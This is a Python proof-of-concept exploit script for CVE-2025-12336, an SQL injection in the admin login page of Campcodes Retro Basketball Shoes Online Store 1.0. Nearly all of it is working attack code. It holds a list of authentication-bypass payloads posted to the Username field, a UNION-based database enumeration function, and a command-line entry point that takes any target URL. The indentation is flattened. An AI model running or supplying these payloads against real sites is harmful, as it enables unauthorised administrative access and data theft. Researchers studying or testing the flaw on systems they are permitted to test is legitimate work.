import requests
import sys
# CVE-2025-12336 SQL Injection PoC
# Target: Campcodes Retro Basketball Shoes Online Store 1.0
# File: /admin/admin_index.php
# Parameter: Username (SQL Injection)
def exploit_sql_injection(target_url):
"""
SQL Injection exploit for CVE-2025-12336
This PoC demonstrates authentication bypass using SQL injection
"""
# Target endpoint
login_url = f"{target_url}/admin/admin_index.php"
# Authentication bypass payloads
payloads = [
"admin' OR '1'='1",
"admin' OR '1'='1' --",
"admin' OR '1'='1' #",
"' OR '1'='1' --",
"' OR '1'='1' #",
"admin' UNION SELECT 1,2,3,4,5,6,7,8,9,10 --"
]
print(f"[*] Target: {login_url}")
print(f"[*] Testing {len(payloads)} payloads...")
for i, payload in enumerate(payloads, 1):
try:
# Prepare POST data
data = {
'Username': payload,
'Password': 'anypassword',
'btn_login': 'Login'
}
# Send request
response = requests.post(login_url, data=data, timeout=10, allow_redirects=False)
print(f"[{i}/{len(payloads)}] Payload: {payload}")
print(f" Status Code: {response.status_code}")
# Check for successful login indicators
if response.status_code == 302 or 'admin' in response.text.lower():
print(f"[+] Potential successful injection with payload: {payload}")
return payload
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return None
def extract_database_info(target_url):
"""
Extract database information using UNION-based SQL injection
"""
# Database enumeration payload
enum_payload = "' UNION SELECT 1,version(),database(),4,5,6,7,8,9,10 --"
login_url = f"{target_url}/admin/admin_index.php"
data = {
'Username': enum_payload,
'Password': 'test',
'btn_login': 'Login'
}
try:
response = requests.post(login_url, data=data, timeout=10)
print(f"[*] Database enumeration response length: {len(response.text)}")
return response.text
except Exception as e:
print(f"[-] Enumeration failed: {e}")
return None
if __name__ == '__main__':
if len(sys.argv) < 2:
print(f"Usage: python {sys.argv[0]} <target_url>")
print(f"Example: python {sys.argv[0]} http://target.com")
sys.exit(1)
target = sys.argv[1].rstrip('/')
exploit_sql_injection(target)